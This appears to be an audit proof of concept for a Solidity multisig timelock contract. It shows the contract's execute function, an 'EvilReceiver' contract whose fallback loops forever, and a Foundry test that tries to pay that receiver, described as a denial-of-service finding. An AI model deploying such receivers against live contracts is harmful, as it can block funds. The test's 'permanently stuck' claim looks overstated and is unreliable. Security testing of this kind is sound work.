function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
if (txn.confirmations < REQUIRED_CONFIRMATIONS) {
revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, txn.confirmations);
}
uint256 requiredDelay = _getTimelockDelay(txn.value);
uint256 executionTime = txn.proposedAt + requiredDelay;
if (block.timestamp < executionTime) {
revert MultiSigTimelock__TimelockHasNotExpired(executionTime);
}
if (txn.value > address(this).balance) {
revert MultiSigTimelock__InsufficientBalance(address(this).balance);
}
txn.executed = true;
(bool success,) = payable(txn.to).call{value: txn.value}(txn.data);
if (!success) {
revert MultiSigTimelock__ExecutionFailed();
}
emit TransactionExecuted(txnId, txn.to, txn.value);
}
pragma solidity ^0.8.19;
contract EvilReceiver {
fallback() external payable {
while (true) {}
}
}
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/MultiSigTimelock.sol";
import "../contracts/EvilReceiver.sol";
contract MultiSigTimelockTest is Test {
MultiSigTimelock timelock;
EvilReceiver evil;
address owner = address(0xA11CE);
address signer1 = address(0xBEEF);
address signer2 = address(0xCAFE);
address signer3 = address(0xF00D);
function setUp() public {
vm.deal(owner, 100 ether);
vm.startPrank(owner);
timelock = new MultiSigTimelock();
payable(address(timelock)).transfer(10 ether);
timelock.grantSigningRole(signer1);
timelock.grantSigningRole(signer2);
timelock.grantSigningRole(signer3);
vm.stopPrank();
evil = new EvilReceiver();
}
function testEvilReceiver_DoS() public {
vm.startPrank(owner);
uint256 txId = timelock.proposeTransaction(address(evil), 1 ether, "");
vm.stopPrank();
vm.startPrank(signer1);
timelock.confirmTransaction(txId);
vm.stopPrank();
vm.startPrank(signer2);
timelock.confirmTransaction(txId);
vm.stopPrank();
vm.startPrank(signer3);
timelock.confirmTransaction(txId);
vm.stopPrank();
vm.warp(block.timestamp + 1 days);
vm.startPrank(signer1);
emit log("Attempting to execute a malicious transaction will consume gas indefinitely...");
try timelock.executeTransaction(txId) {
fail("It should be stuck or the gas is used up.");
} catch {
emit log("Test passed: The call is permanently stuck, and the transaction cannot be executed.");
}
vm.stopPrank();
}
}